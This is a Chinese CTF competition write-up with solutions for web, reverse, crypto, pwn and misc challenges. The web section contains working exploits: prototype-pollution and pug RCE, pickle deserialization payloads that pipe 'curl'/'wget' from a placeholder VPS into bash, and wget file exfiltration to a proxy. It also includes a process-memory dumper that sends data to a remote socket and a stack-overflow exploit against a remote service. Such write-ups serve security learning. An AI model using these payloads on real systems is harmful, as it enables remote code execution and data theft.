文章目录
Web
ezjs
题目内容:简单的个人空间系统。
任意用户名登录进去找到图片那一处明显的文件下载。源码拖下来后首先注意到lodash 4.17.15搭配express-validator。即去年xnuca的某原型链污染。由于此题body-parser限制post无法传对象,所以最多做到污染基类某属性为空字符串。不过足以绕过admin跟debug的限制
然后注意到源码里info.pretty
比较突兀。作为res.render
的option被送到pug了。想起来今年看到过balsn的师傅挖到的一个pug的rce,确认了下就是用option.pretty
。所以直接打即可。
# coding: utf-8
# -**- author: byc_404 -**-
import requests
#url = 'http://127.0.0.1:8000/'
url = 'http://eci-2zei3etz0ejvyoen46nl.cloudeci1.ichunqiu.com:8888/'
cookies = {}
r = requests.post(url + 'login', data={
'username': 'bycbycbyc',
'password': '12312123',
}, allow_redirects=False)
print(r.text)
cookies = {
'session': r.headers['Set-Cookie'].split('; Path=/')[0].split('=')[1]
}
print(cookies)
r = requests.post(url + 'login', data={
'username': 'bycbycbyc',
'password': '12312123',
'"].__proto__["isadmin': '12123',
'"].__proto__["debug': '12123',
}, cookies=cookies, allow_redirects=False)
r = requests.get(url + 'admin/?p=%27);process.mainModule.constructor._load(%27child_process%27).execSync(%27curl%20VPS%27).toString();_=(%27', cookies=cookies)
print(r.text)
what_pickle
题目内容:find the flag.
首先关注到题目cookie。flask的session里存了pickle opcode的base64。所以需要secret_key来进行pickle反序列化。
寻找读文件的方式。注意到images路由的文件加载,利用debug模式的报错发现是通过奇葩的wget加载文件。可控shell args。wget -h
找一下可用的option发现--execute
可以设置代理。所以夹带靶机文件利用代理即可读文件
/images?image=&argv=--post-file=/app/app.py&argv=--execute=http_proxy=http://VPS:9000
拿到文件注意到pickle
设置了自定义的反序列化loader。只能用config模块下的内容。同时config下一个backdoor函数在绕过全局变量notadmin后可以eval。所以需要利用pickle覆盖全局变量+eval命令执行。
看了下后直接手搓。先往前序栈上放一个config.notadmin,然后往栈上放一个mark,一组字典,用u
更新达成覆盖全局变量。然后调用backdoor函数:同样栈上放一个config.backdoor,放一个MARK,放一个]
以及cmd,a
这样一个列表作为函数参数。最后t
把元组构建好,利用R
把栈里的两个内容弹出来执行命令。
至于命令执行直接把cmd字符串的opcode拼接到里面就行。然后本地直接用dump下来的源码起一个Flask server,拿到cookie.
@app.route('/debug')
def poc():
data = b"""\x80\x04cconfig\nnotadmin\n(\x8c\x05admin\x94\x8c\x03yes\x94ucconfig\nbackdoor\n(]\x8c;__import__('os').system('wget -q -O- VPS|bash')\x94atR."""
session['info'] = base64.b64encode(data)
print(session)
return "Done"
之后拿到shell后卡了很久。源码里的readflag.so对应的easy函数并没有办法获得flag。但是代表flag被读到内存里了。

经pwn手帮助找到一个拿/proc/xxx/mem
的方法
#include <stdio.h>
#include <stdlib.h>
#include <limits.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <arpa/inet.h>
void dump_memory_region(FILE* pMemFile, unsigned long start_address, long length, int serverSocket)
{
unsigned long address;
int pageLength = 4096;
unsigned char page[pageLength];
fseeko(pMemFile, start_address, SEEK_SET);
for (address=start_address; address < start_address + length; address += pageLength)
{
fread(&page, 1, pageLength, pMemFile);
if (serverSocket == -1)
{
// write to stdout
fwrite(&page, 1, pageLength, stdout);
}
else
{
send(serverSocket, &page, pageLength, 0);
}
}
}
int main(int argc, char **argv) {
if (argc == 2 || argc == 4)
{
int pid = atoi(argv[1]);
long ptraceResult = ptrace(PTRACE_ATTACH, pid, NULL, NULL);
if (ptraceResult < 0)
{
printf("Unable to attach to the pid specified\n");
return;
}
wait(NULL);
char mapsFilename[1024];
sprintf(mapsFilename, "/proc/%s/maps", argv[1]);
FILE* pMapsFile = fopen(mapsFilename, "r");
char memFilename[1024];
sprintf(memFilename, "/proc/%s/mem", argv[1]);
FILE* pMemFile = fopen(memFilename, "r");
int serverSocket = -1;
if (argc == 4)
{
unsigned int port;
int count = sscanf(argv[3], "%d", &port);
if (count == 0)
{
printf("Invalid port specified\n");
return;
}
serverSocket = socket(AF_INET, SOCK_STREAM, 0);
if (serverSocket == -1)
{
printf("Could not create socket\n");
return;
}
struct sockaddr_in serverSocketAddress;
serverSocketAddress.sin_addr.s_addr = inet_addr(argv[2]);
serverSocketAddress.sin_family = AF_INET;
serverSocketAddress.sin_port = htons(port);
if (connect(serverSocket, (struct sockaddr *) &serverSocketAddress, sizeof(serverSocketAddress)) < 0)
{
printf("Could not connect to server\n");
return;
}
}
char line[256];
while (fgets(line, 256, pMapsFile) != NULL)
{
unsigned long start_address;
unsigned long end_address;
sscanf(line, "%08lx-%08lx\n", &start_address, &end_address);
dump_memory_region(pMemFile, start_address, end_address - start_address, serverSocket);
}
fclose(pMapsFile);
fclose(pMemFile);
if (serverSocket != -1)
{
close(serverSocket);
}
ptrace(PTRACE_CONT, pid, NULL, NULL);
ptrace(PTRACE_DETACH, pid, NULL, NULL);
}
else
{
printf("%s <pid>\n", argv[0]);
printf("%s <pid> <ip-address> <port>\n", argv[0]);
exit(0);
}
}
最后直接尝试pid靠前的进程的mem.从pid为17的文件夹中找到
./poc 17 | grep -a flag

opcode
题目内容:听说pickle是一门有趣的栈语言,你会手写opcode吗?
赛后几分钟出的(懊恼
其实这道题非常的简单,总共就两个坑(要是细心点一个坑都没有):
- 限制使用 builtins 模块的函数全局并没有使用,所以防了个寂寞
- loads使用的是0号协议,该协议没有版本号前缀,所以在
data.decode()
时不会引起运行错误
知道这两个坑之后就很顺畅了,imagePath
参数任意文件读,然后无R
opcode直接payload(cos\nsystem\nS'curl http://IP/bash.txt|bash'\no.
一把梭
Reverse
baby_maze
伊卡洛斯大迷宫
附件下载:https://pan.baidu.com/s/1mxkMzMTAaay6MXFpJBG71A 提取码(GAME)
备用下载:https://share.weiyun.com/8dHDqG7i
根据每走一步返回的字符串来判断该方向是否可以走下去
用DFS搜索 剪枝掉不符合要求的路径
当遇到符合要求的字符串将路径输出到另一个文件即可
运行脚本即可在map.txt文件下 找到符号要求路径
from pwn import *
#sh = process('./maze')
context(arch='amd64',os='linux',log_level='info')
direc = [b'W',b'S',b'A',b'D']
anti_direc = [b'S',b'W',b'D',b'A']
#sh.recvuntil(b'south.\n')
#payload = b'SSSSSSSSSDDDDDDWWWWAAWWAAWWDDDDDDDDDDDDDDDDDDDDSSDDSSAASSSSAAAAWWAAWWWWAASSSSSSAASSDDSSSSDDWWWWDDSSDDDDWWDDDDDDWWAAAAWWDDDDWWAAWWWWDDSSDDSSSSSSSSSSDDDDSSAAAASSSSSSAASSSSAAWWAASSSSDDDDDDDDDDSSDDSSAASSSSAASSSSSSSSDDWWWWWWDDWWWWDDWWWWDDSSSSSSSSAASSSSDDDDSSDDDDWWDDSSDDSSDDDDDDDDSSSSSSSSAAAAAAAASSDDDDDDDDDDWWDDSSDDSSSSSSSSSSAAAAAASSDDSSSSDDSSAASSSSSSSSSSDDWWWWDDSSSSSSDDSSSSDDSS'
payload = b'SSSSSSSSSDDDDDDWWWWAAWWAAWWDDDDDDDDDDDDDDDDDDDDSSDDSSAASSSSAAAAWWAAWWWWAASSSSSSAASSDDSSSSDDWWWWDDSSDDDDWWDDDDDDWWAAAAWWDDDDWWAAWWWWDD'
#print(direc[0])
#for i in range(0,9):
# p=process('./maze')
# p.recvuntil(b'south.\n')
# p.sendline(payload)
# for j in range(0,9):
# print(p.recvuntil('\n'))
# p.close()
def DFS(payload,length):
if length ==480:
F = open('pay.txt','a+')
F.write(str(payload) + '\n')
F.close()
return 0
print(payload)
p = process('./maze')
p.recvuntil('south.\n')
p.sendline(payload)
for i in range(0,length-1):
p.recvuntil('\n')
temp = p.recvuntil('\n')
print(temp)
if temp == b'OUCH!!!!\n' or temp == b'I can\'t see the sky\n' or temp == b'Shit!!\n' or temp == b'Wall!!!\n' or temp == b'Fxxk!!!\n' or temp == b'nononononono\n' or temp == b'Uh... yeah, no.\n' or temp == b'Oh!!Monster\n' or temp == b'Maybe this is a mistack\n' or temp == b'Oh no!!!\n' or temp == b'Let me out!!!\n':
p.close()
print('WRRONG !!! -----',payload)
return 0
if temp == b'Good Job. \n':
F=open('map.txt','a')
p.close()
for i in range(100):
F.write(str(payload) + '\n')
F.close()
return 0
p.close()
print('------------------------------')
t = payload[length-1:length]
for i in range(0,4):
if t!= anti_direc[i]:
payload += direc[i]
DFS(payload,len(payload))
payload = payload[0:len(payload)-1]
#print(payload)
DFS(payload,len(payload))
#sh.interactive()
medical_app
附件下载:https://pan.baidu.com/s/1y3clte4F9SsQ5T3P3GuYxQ 提取码(GAME)
备用下载:https://share.weiyun.com/ETFkiMSS
rc4+xxtea
解密xxtea
#include <stdio.h>
#include <stdint.h>
#define DELTA 0x9F5776B6
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
void btea(uint32_t* v, int n, uint32_t const key[4])
{
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) /* Coding Part */
{
rounds = 6 + 52 / n;
sum = 0;
z = v[n - 1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++)
{
y = v[p + 1];
z = v[p] += MX;
}
y = v[0];
z = v[n - 1] += MX;
} while (--rounds);
}
else if (n < -1) /* Decoding Part */
{
n = -n;
rounds = 6 + 52 / n;
sum = rounds * DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--)
{
z = v[p - 1];
y = v[p] -= MX;
}
z = v[n - 1];
y = v[0] -= MX;
sum -= DELTA;
} while (--rounds);
}
}
int main()
{
uint32_t v[9] = { 0x68e5973e,0xc20c7367,0x98afd41b,0xfe4b9de2,0x1a5b60b,0x3d36d646,0xdbcc7baf,0xa0414f00,0x762ce71a };
uint32_t const k[4] = { 0x1,0x10,0x100,0x1000 };
int n = 9; //n的绝对值表示v的长度,取正表示加密,取负表示解密
// v为要加密的数据是两个32位无符号整数
// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
btea(v, -n, k);
for (int i = 0; i < 9; ++i)
printf("v[%d] == 0x%x\n",i,v[i]);
return 0;
}
之后解密rc4
a = [0x01, 0x5A, 0xE2, 0x87, 0xD2, 0x64, 0x43, 0x3C, 0x97, 0xCD,
0xC7, 0x0E, 0x95, 0xBA, 0x6F, 0xD1, 0x5C, 0x17, 0x49, 0xBA,
0x8F, 0x31, 0xE1, 0x41, 0x39, 0x74, 0x9A, 0x5B, 0xCF, 0xB9,
0x5F, 0x19, 0xE2, 0x81, 0x5E, 0xD8]
b = "123456789012345678901234567890123456"
XOR = []
for i in range(36):
XOR.append(a[i] ^ ord(b[i]))
#tmp = [ 0x3E, 0x97, 0xE5, 0x68, 0x67, 0x73, 0x0C, 0xC2, 0x1B, 0xD4,
# 0xAF, 0x98, 0xE2, 0x9D, 0x4B, 0xFE, 0x0B, 0xB6, 0xA5, 0x01,
# 0x46, 0xD6, 0x36, 0x3D, 0xAF, 0x7B, 0xCC, 0xDB, 0x00, 0x4F,
# 0x41, 0xA0, 0x1A, 0xE7, 0x2C, 0x76]
#sd = []
#for i in range(9):
# sd.append( (tmp[4*i+3]<<24) ^ (tmp[4*i+2] << 16) ^ (tmp[4*i+1] << 8) ^ tmp[4*i] )
#for i in range(len(sd)):
# print(hex(sd[i]),end=",")
test = [0x56,0x04,0xb0,0xd4,0x9c,0x63,0x4d,0x30,0x96,0xce,0xc0,0x05,0x93,0xbe,0x3b,0x82,0x52,0x4b,0x16,0xb2,0x8a,0x33,0xb7,0x4d,0x6d,0x7b,0x99,0x50,0xc2,0xb1,0x0c,0x12,0xe1,0x84,0x0a,0x93]
for i in range(len(test)):
print(chr(test[i] ^ XOR[i]),end="")
so_get_sourcecode
题目内容:小胖不费吹灰之力拿到了shell准备开开心心审计网站代码,但他发现文件内容有点不对劲,so so so so so, Can you help him?
动态环境
web一个文件上传,getshell发现php文件加了混淆,phpinfo看到php_screw_plus

然后查了下,发现想要解混淆,需要拿到编译前的cakey
去/usr/lib/php/20160303
下dump下来php_screw_plus.so
找到源文件https://github.com/del-xiong/screw-plus/blob/master/decode.c
对比一下发现 cakey改了 还多了个xor 对源码修改编译 再-d解混淆就行了
#编译
phpize && \
./configure --with-php-config=php-config && \
make && make install && \
cd tools && make

CAKEY "GH65Hws2jedf3fl3MeK"
flag{47a3f7b1-499c-4e45-ed3e-404602cfef96}
//screw.c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdarg.h>
#include <dirent.h>
#include <memory.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include "../php_screw_plus.h"
#include "../aes.c"
#include "../aes_crypt.c"
#include "../md5.h"
int teg_yek(FILE *fp)
{
unsigned int v1; // eax
ssize_t v2; // rax
int result; // eax
char path[256]; // [rsp+0h] [rbp-218h] BYREF
char buf[264]; // [rsp+100h] [rbp-118h] BYREF
v1 = fileno(fp);
sprintf(path, "/proc/self/fd/%d", v1);
v2 = readlink(path, buf, 0x100uLL);
if ( v2 < 0 )
result = -1;
else
result = path[v2 + 251];
return result;
}
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdarg.h>
#include <dirent.h>
#include <memory.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include "../php_screw_plus.h"
#include "../aes.c"
#include "../aes_crypt.c"
#include "../md5.h"
int teg_yek(FILE *fp)
{
unsigned int v1; // eax
ssize_t v2; // rax
int result; // eax
char path[256]; // [rsp+0h] [rbp-218h] BYREF
char buf[264]; // [rsp+100h] [rbp-118h] BYREF
v1 = fileno(fp);
sprintf(path, "/proc/self/fd/%d", v1);
v2 = readlink(path, buf, 0x100uLL);
if ( v2 < 0 )
result = -1;
else
result = path[v2 + 251];
return result;
}
...
void screw_encrypt(char *file) {
FILE *fp;
struct stat stat_buf;
char *datap;
int datalen;
char oldfilename[256];
char *prepare;
char lenBuf[16];
int i;
memset(lenBuf, 0, 16);
memset(key, 0, sizeof(key));
memcpy(key, md5(CAKEY), 32);
memcpy(enTag, key, 16);
fp = fopen(file, "rb");
if (fp == NULL) {
fprintf(stderr, "File not found(%s)", file);
exit(0);
}
int v7 = teg_yek(fp);
fstat(fileno(fp), &stat_buf);
datalen = stat_buf.st_size;
datap = (char*)malloc(maxBytes);
memset(datap, 0, sizeof(datap));
fread(datap, datalen, 1, fp);
fclose(fp);
sprintf(lenBuf,"%d",datalen);
if (memcmp(datap, enTag, 16) == 0) {
errMsg(file ," Already Crypted");
return ;
}else if(datalen <1) {
errMsg(file ," will not be crypted");
return ;
}
screw_aes(1,datap,datalen,key,&datalen,v7);
fp = fopen(file, "wb");
if (fp == NULL) {
errMsg("Can not create crypt file(%s)", oldfilename);
exit(0);
}
fwrite(enTag, 16, 1, fp);
fwrite(lenBuf, 16, 1, fp);
fwrite(datap, datalen, 1, fp);
fclose(fp);
alertMsg("Success Crypting - ", file);
free(datap);
}
void screw_decrypt(char *file) {
FILE *fp;
struct stat stat_buf;
char *datap;
char lenBuf[16];
int i,datalen;
uint8_t enTag[16];
uint8_t key[64];
fp = fopen(file, "rb+");
if (fp == NULL) {
errMsg("File not found(%s)", file);
exit(0);
}
int v7 = teg_yek(fp);
memset(key, 0, sizeof(key));
memcpy(key, md5(CAKEY), 32);
memcpy(enTag, key, 16);
memset(lenBuf, 0, 16);
fstat(fileno(fp), &stat_buf);
datalen = stat_buf.st_size;
datap = (char*)malloc(maxBytes);
memset(datap, 0, sizeof(datap));
fread(datap, datalen, 1, fp);
fclose(fp);
if(memcmp(datap, enTag, 16) == 0) {
for(i=16; i<datalen; i++) {
if(i<32)
lenBuf[i-16] = datap[i];
else
datap[i-32] = datap[i];
}
screw_aes(0,datap,datalen,key,&datalen,v7);
datalen = atoi(lenBuf);
fp = fopen(file, "w+");
fwrite(datap, datalen, 1, fp);
free(datap);
fclose(fp);
alertMsg("Success Decrypting - ", file);
}else {
errMsg("Not a valid crypted file.","");
}
}
//aes_crypt.c
void screw_aes(int crypt,uint8_t *buf,int bufLen,uint8_t *key,int *rLen,int c){
uint8_t t,out;
aes_context aes;
int blocks = 0,i,rm = bufLen % 16;
int end = 0,decSize=0;
char v6;
char v9;
v6 = c;
blocks = bufLen/16 + (rm?1:0);
if ( c == -1 )
v6 = 85;
if(crypt)
aes_setkey_enc( &aes, key, 256 );
else
aes_setkey_dec( &aes, key, 256 );
for(i=0;i<blocks;i++) {
v9 = v6;
if(crypt){
aes_crypt_cbc(&aes, AES_ENCRYPT, 16, key, buf+i*16, buf+i*16);
for(int v = 0 ; v < 16 ; ++v)
*(buf+i*16 +v) ^= v9;
}
else{
for(int v = 0 ; v < 16 ; ++v)
*(buf+i*16 +v) ^= v9;
aes_crypt_cbc(&aes, AES_DECRYPT, 16, key, buf+i*16, buf+i*16);
}
}
*rLen = blocks * 16;
}
//php_screw_plus.c
int teg_yek(FILE *fp)
{
unsigned int v1; // eax
ssize_t v2; // rax
int result; // eax
char path[256]; // [rsp+0h] [rbp-218h] BYREF
char buf[264]; // [rsp+100h] [rbp-118h] BYREF
v1 = fileno(fp);
php_sprintf(path, "/proc/self/fd/%d", v1);
v2 = readlink(path, buf, 0x100uLL);
if ( v2 < 0 )
result = -1;
else
result = path[v2 + 251];
return result;
}
FILE *pm9screw_ext_fopen(FILE *fp)
{
struct stat stat_buf;
char *datap, *newdatap;
char lenBuf[16];
int datalen, newdatalen=0;
int i;
int v7;
uint8_t enTag[16];
uint8_t key[64];
memset(key, 0, sizeof(key));
memcpy(key, md5(CAKEY), 32);
memcpy(enTag, key, 16);
memset(lenBuf, 0, 16);
fstat(fileno(fp), &stat_buf);
datalen = stat_buf.st_size;
datap = (char*)malloc(maxBytes);
memset(datap, 0, sizeof(datap));
fread(datap, datalen, 1, fp);
v7 = teg_yek(fp);
fclose(fp);
if(memcmp(datap, enTag, 16) == 0) {
for(i=16; i<datalen; i++) {
if(i<32)
lenBuf[i-16] = datap[i];
else
datap[i-32] = datap[i];
}
screw_aes(0,datap,datalen,key,&datalen,v7);
datalen = atoi(lenBuf);
}else if(STRICT_MODE){
datalen = 0;
}
fp = tmpfile();
if (datalen > 0) {
fwrite(datap, datalen, 1, fp);
} else {
fwrite(STRICT_MODE_ERROR_MESSAGE, strlen(STRICT_MODE_ERROR_MESSAGE), 1, fp);
}
free(datap);
rewind(fp);
return fp;
}
Crypto
MedicalImage
附件下载:https://pan.baidu.com/s/1cSY5Ha_xvSDGvMC_9iLv-w 提取码(GAME)
备用下载:https://share.weiyun.com/dgvuR78b
from decimal import *
from PIL import Image
import numpy as np
getcontext().prec = 20
def f(x): return 4*x*(1-x)
def outputImage(path, pic, size):
im = Image.new('P', size, 'white')
pixels = im.load()
for i in range(im.size[0]):
for j in range(im.size[1]):
pixels[i, j] = (int(pic[j][i]))
im.save(path)
def decryptImage(path):
im = Image.open(path)
size = im.size
pic = np.array(im)
im.close()
r1 = Decimal('0.478706063089473894123')
r2 = Decimal('0.613494245341234672318')
r3 = Decimal('0.946365754637812381837')
for i in range(200):
r1, r2, r3 = f(r1), f(r2), f(r3)
cnt = 0
const = 10**14
for p0 in range(100, 105):
for c0 in range(200, 205):
r1_, r2_, r3_, pic_ = r1, r2, r3, pic
for x in range(size[0]):
for y in range(size[1]):
k = int(round(const * r3_)) % 256
k = bin(k)[2:].ljust(8, '0')
k = int(k[p0 % 8:] + k[:p0%8], 2)
r3_ = f(r3_)
p0 = ((pic_[y, x] ^ c0 ^ k) + 256 - k) % 256
c0 = pic_[y, x]
pic_[y, x] = p0
R1, R2 = [r1_], [r2_]
for _ in range(size[0] * size[1]):
R1.append(f(R1[-1]))
R2.append(f(R2[-1]))
cnt1, cnt2 = 1, 1
for x in range(size[0]-1, -1, -1):
for y in range(size[1]-1, -1, -1):
cnt1, cnt2 = cnt1 + 1, cnt2 + 1
x1 = int(round(const * R1[-cnt1])) % size[0]
y1 = int(round(const * R2[-cnt2])) % size[1]
tmp = pic_[y, x]
pic_[y, x] = pic_[y1, x1]
pic_[y1, x1] = tmp
outputImage("data/guess_flag{}.bmp".format(cnt), pic_, size)
cnt += 1
decryptImage('flag_enc.bmp')
crtrsa
crack the unsafe crt-rsa!
附件下载:https://pan.baidu.com/s/1OXB96q0XJoxfqH1cNFd5bw 提取码(GAME)
备用下载:https://share.weiyun.com/680hJMa6
题目生成私钥d的过程很奇怪,先是生成了两个dp, dq(其中dp取值范围是1~1048576,可以穷举),然后用中国剩余定理计算出d,再去生成加密指数e。
本地测试发现e dp = 1 (mod p-1)
,可以得到edp - 1
为p-1
的倍数。
再根据费马小定理可知对任意的数x
有x(p-1) = 1 (mod p)
,那么也有x(k*(p-1)) = 1 (mod p)
,从中可以求得一个素数p
的一个倍数x*(k(p-1))
,使用欧几里得算法对这个倍数和n
取公约数即可分解出来p
。
from Crypto.Util.number import GCD, long_to_bytes
e = 2953544268002866703872076551930953722572317122777861299293407053391808199220655289235983088986372630141821049118015752017412642148934113723174855236142887
N = 6006128121276172470274143101473619963750725942458450119252491144009018469845917986523007748831362674341219814935241703026024431390531323127620970750816983
flag = 4082777468662493175049853412968913980472986215497247773911290709560282223053863513029985115855416847643274608394467813391117463817805000754191093158289399
for guess in range(1, 2**20+1):
multiple_of_p_1 = e * guess - 1
multiple_of_p = pow(123, multiple_of_p_1, N) - 1
p = GCD(multiple_of_p, N)
if p == 1:
continue
# guess is right
q = N // p
assert p * q == N
print(p, q)
phi = (p-1)*(q-1)
d = inverse(e, phi)
m = pow(flag, d, N)
print(long_to_bytes(m))
break
# 88483113499234291234797595363172914275282163218450540253170700235627922981203 67878806291419072490288882236306878116879255807470070199241473147697087841261
# b'flag{d67fde91-f6c0-484d-88a4-1778f7fa0c05}'
PWN
msgparser
try to exploit the parser!
nc 118.190.217.168 43589
附件下载:https://pan.baidu.com/s/1gKGSQhS65hXRIM5LzzQYFg 提取码(GAME)
备用下载:https://share.weiyun.com/sXg4tBVF
赛后半小时出的。本以为两天比赛准备晚上肝结果。。。
http套皮题
实现了一堆莫名其妙没有用处的功能。
实际就是一个入门栈。
\x00会被截断,\x00后面的数据会变得很奇怪,先把后面的填好再去整\x00
from pwn import *
#r=process('./chall')
r=remote('118.190.217.168',43589)
def gd(cmd=''):
gdb.attach(r,cmd)
pause()
py1='''GET / HTTP/1.0
Connection:Keep-Alive
Content-Length:%s
'''
py=py1%str(10)+'\x01'+'a'
print(py)
r.recvuntil('msg> ')
r.sendline(py)
py=py1%str(0x100)+'\x02'
r.recvuntil('msg> ')
r.sendline(py)
r.recv(0x58)
canary=u64(r.recv(8))
print(hex(canary))
r.recv(8)
lbase=u64(r.recv(8))
print hex(lbase)
libc=ELF('./libc-2.27.so')
lbase=lbase-231-libc.symbols['__libc_start_main']
print hex(lbase)
py2='\x01'+'a'*0x6f+'\x00'
py=py1%str(len(py2)-1)+py2
r.send(py)
sleep(0.1)
py2='\x01'+'a'*0x57+'bb'+p64(canary)[1:]+'a'*8+p64(lbase+0x4f3d5)[:6]+'\x00'*1
py=py1%str(len(py2)-1)+py2
r.send(py)
sleep(0.1)
py2='\x01'+'a'*0x58+'\x00'
py=py1%str(len(py2)-1)+py2
r.send(py)
sleep(0.1)
r.interactive()
#flag{VuLNe3ab1e_HTTP_P4r3er}
Misc
签到
YY给我发了一串表情,说了GAME,这是什么意思?
附件下载:https://pan.baidu.com/s/1lmj27SlyAx0czhn9pJ85rA 提取码(GAME)
备用下载:https://share.weiyun.com/vhV796td
解压出来:
????????????????☀??????????☺??????⏩☺??⌨??????☂??☃????????????✅??
题目描述提到GAME,直接codemoji解码不行,所以想到codemoji aes decode:
key是GAME
在线网站:https://aghorler.github.io/emoji-aes/

最新评论